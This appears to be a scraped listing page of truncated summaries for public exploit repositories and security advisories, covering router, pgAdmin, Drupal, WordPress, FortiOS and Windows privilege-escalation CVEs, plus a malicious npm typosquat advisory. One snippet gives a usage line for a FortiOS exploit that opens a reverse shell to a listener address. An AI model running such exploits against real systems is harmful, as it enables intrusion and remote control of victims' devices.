text4shell-policy

Text4Shell Demo This demo shows how you can use Sigstore to validate your signed SBOMs against text4shell policies in Kubernetes or on the command line Option 1: Check if your remote OCI image is affected using cue with cosign 2.0 root@kitploit: cosign verify-attestation --policy...

CVE-2025-9090

CVE-2025-9090 Author: Byte Reaper Description This exploit targets CVE-2025-9090 , a command injection vulnerability in the Tenda AC20 v16.03.08.12 router. The flaw is in the endpoint /goform/telnet, which can be triggered remotely. When accessed, it starts the Telnet service on the device, openi...

CVE-2025-13780

CVE-2025-13780: pgAdmin 4 = 8.14 RCE Scanner A comprehensive vulnerability scanner for CVE-2025-13780 , a Remote Code Execution RCE vulnerability in pgAdmin 4 versions ≤ 8.14. 🔍 Vulnerability Details The vulnerability exists in the Restore feature of pgAdmin 4. The application attempts to block...

0-click-RCE-Exploit-for-CVE-2024-50526

CVE-2024-50526 / 0-Click RCE Exploit Author: Joshua Provoste https://x.com/JoshuaProvoste/status/1859403137435459727 This repository contains a proof-of-concept exploit for CVE-2024-50526, an unauthenticated arbitrary file upload vulnerability in the Multi Purpose Mail Form WordPress plugin,...

CVE-2018-7600

CVE-2018-7600 CVE-2018-7600 - Drupal 7.x RCE Drupal 7.58 RCE sin autenticación Requisitos python3 python requests pip install requests Uso Instalar dependencias modificar la variable HOST en el script ejecutar el código ganar Solo instalar requests pip install requests, editar el archivo para...

Stryker

Stryker Multi-purpose proof-of-concept tool based on CPU-Z CVE-2017-15303 System Requirements x64 Windows 7/8/8.1/10; Stryker designed only for x64 Windows; Administrative privilege is required. Features Driver Signature Enforcement Overrider similar to DSEFIx; Protected Processes Hijacking via...

CVE-2021-1675-LPE

Local Privilege Escalation Edition of CVE-2021-1675/CVE-2021-34527 Local Privilege Escalation implementation of the CVE-2021-1675/CVE-2021-34527 a.k.a PrintNightmare. The exploit is edited from published by Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370. Open the project on MSVC and compile...

CVE-2021-3493

CVE-2021-3493 Ubuntu OverlayFS Local Privesc Description "Ubuntu specific issue in the overlayfs file system in the Linux kernel where it did not properly validate the application of file system capabilities with respect to user namespaces. A local attacker could use this to gain elevated...

ioc-scanner-CVE-2019-19781

Indicator of Compromise Scanner for CVE-2019-19781 This repository contains a utility for detecting compromises of Citrix ADC Appliances related to CVE-2019-19781. The utility, and its resources, encode indicators of compromise collected during FireEye Mandiant investigations. To learn more, plea...

CVE-2021-27928

CVE-2021-27928 In this repository, you will find a proof of concept of the exploitation of the CVE-2021-27928 flaw through a docker container. root@kitploit: Exploit Title: MariaDB 10.2 /MySQL - 'wsrepprovider' OS Command Execution Date: 03/18/2021 Exploit Author: Central InfoSec Version: MariaDB...

heartbleed

heartbleed A simple tool written in Ruby wich allow testing your servers for OpenSSL CVE-2014-0160 vulnerability. Disclaimer I will not be taken responsible for the damage that could be done using this tool. It was written to check private servers for a precise vulnerability and measure potential...

THM-Vulnerability_Capstone-CVE-2018-16763

THM-VulnerabilityCapstone-CVE-2018-16763 A write up on the THM room Vulnerability Capstone & Exploit script for CVE-2018-16763. CREDITS I do not take credit for the discovery of this vulnerability. Thank you to the following people. Vulnerability Discovery: 0xd0ff9 TryHackMe Room & Author:...

Malicious code in 0nestjs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 54eee258f343282c30f3efc6b5effc8aac283b7b02421433c14dee3e14f27aa3 Package name 0nestjs targets developers mistyping nestjs. On npm install, the postinstall hook node index.js executes automatically and performs two...

MAL-2026-15908 Malicious code in 0nestjs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 54eee258f343282c30f3efc6b5effc8aac283b7b02421433c14dee3e14f27aa3 Package name 0nestjs targets developers mistyping nestjs. On npm install, the postinstall hook node index.js executes automatically and performs two...

CVE-2023-25610

CVE-2023-25610 FortiOS 管理界面中的堆内存下溢导致远程代码执行。 范围和限制 1. Fortinet 6.x 2. 基于 TLSv1.3，在其他 TLS 版本上可能存在差异 用法 python3 cve-2022-42475.py rhost rport lhost 'command' root@kitploit: python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /' Listener EXP 使用 python 命令在端口 31337 上设置反弹 shell root@kitploit: ...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 A write up on the Steel Mountain box from TryHackMe.com and exploit for CVE-2014-6287 Credits I take no credit for the original discovery and exploitation of this vulnerability. Thank you to the following people! Discovery: Daniele Linguaglossa Metasploit Module...

07-Web-Application-Security

Cybersecurity Home Lab - Lab 7: Web Application Security O...

CVE-2023-4911

CVE-2023-4911-Looney-Tunables Looney Tunables Local privilege escalation CVE-2023-4911 workshop for educational purposes only Links: IPPSEC video Qualsys Blog Post Qualsys Tech Details Exploit POC python script GLIBC sources GLIBC tunables documentation Description What is ld.so? In computing, a...

trellis-cve-2018-6389

trellis-cve-2018-6389 Mitigate CVE-2018-6389 WordPress load-scripts / load-styles attacks. Goal Why? Mitigation Why Not? Requirements Installation Trellis WordPress FAQs Can I use this on managed hosting? It looks awesome. Where can I find some more goodies like this? This isn't on wp.org. Where...

CVE-2020-17530

CVE-2020-17530 Prueba de concepto rápida para CVE-2020-17530. En Apache Struts versiones 2.0.0 - 2.5.25, una evaluación forzada del Lenguaje de Navegación de Grafos de Objetos OGNL sobre la entrada de usuario sin procesar en atributos de etiquetas puede conducir a la ejecución remota de código RC...